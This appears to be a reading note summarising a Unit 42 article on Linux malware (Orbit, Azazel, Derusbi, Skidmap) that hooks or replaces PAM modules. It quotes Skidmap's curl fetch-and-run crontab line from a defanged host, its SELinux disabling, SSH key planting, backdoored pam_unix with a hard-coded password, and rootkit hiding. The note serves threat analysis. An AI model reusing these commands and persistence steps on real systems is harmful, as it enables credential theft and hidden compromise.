pamgoesrogue-sharma2003

0001-01-01

When PAM Goes Rogue: Malware Uses Authentication Modules for Mischief

by Siddharth Sharma

Unit 42/Palo Alto Networks, 2023

https://unit42.paloaltonetworks.com/linux-pam-apis/

Notes
PAM
PAM API hooking
Advanced WildFire for Linux
passwd, shadow files.
pam_unix
libpam
Orbit malware
Orbit was discovered in 2022
hooks pam_open_session, pam_authenticate, and pam_acct_mgr
pam_open_session initiates a new session for the user on successful authentication
pam_authenticate handles the user authentication process
pam_acct_mgmt manages user account information; account has expired, user is allowed to access system at a specific time, …
logs credentials to a file
https://intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/
Azazel rootkit
open-source
targets older Linux kernels
LD_PRELOAD
hooks pam_open_session, pam_authenticate, and pam_acct_mgmt
2ad5993cf4db52ef72e299590d79dd7414bc3b119f5d8be8274ad89bec4cbbae
Derusbi malware
targets Linux and Windows
LD_PRELOAD
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/2015.12.15.Newcomers_in_the_Derusbi_family/Newcomers-in-the-Derusbi-family.pdf
Skidmap malware
first seen 2019
replaces pam_unix.so with a malicious copy
https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html
cryptocurrency-mining malware
LD_PRELOAD rootkit
cybercrime
installs as a crontab: */1 * * * * curl -fsSL hxxp://pm[.]ipfswallet[.]tk/pm.sh \ sh
pm.sh downloads a binary named “pc” using wget or curl
uses setenforce 0 to disable SELinux
adds SELINUX=disabled, SELINUXTYPE=targeted to /etc/selinux/conf
adds a public key to SSH authorized_keys file
replaces pam_unix.so with a malicious copy
sets root’s .ssh/authorized_keys file immutable using system()
hard-coded password in pam_unix: Mtm$%889*G*S3%G
“user:password@host –> %s %s\n” string
logs to /usr/include/ilog.h
writes payload to /tmp/miner2
uses tar command
decrypts malicious payload using openssl command
replaces ‘rm’ command with one that re-installs crontab persistence
/usr/bin/kaudited drops and installs an LKM rootkit
uses different modules for specific kernel versions to avoid crashing the host
installs a watchdog app for its miner component
iproute module hooks getdents to hide specific files and directories
“hacked_getdents”
netlink module fakes network traffic statistics related to certain IP addresses and ports and CPU usageof some processes (pamdicks process)
Indicators of Compromise (IoCs)

Links to this note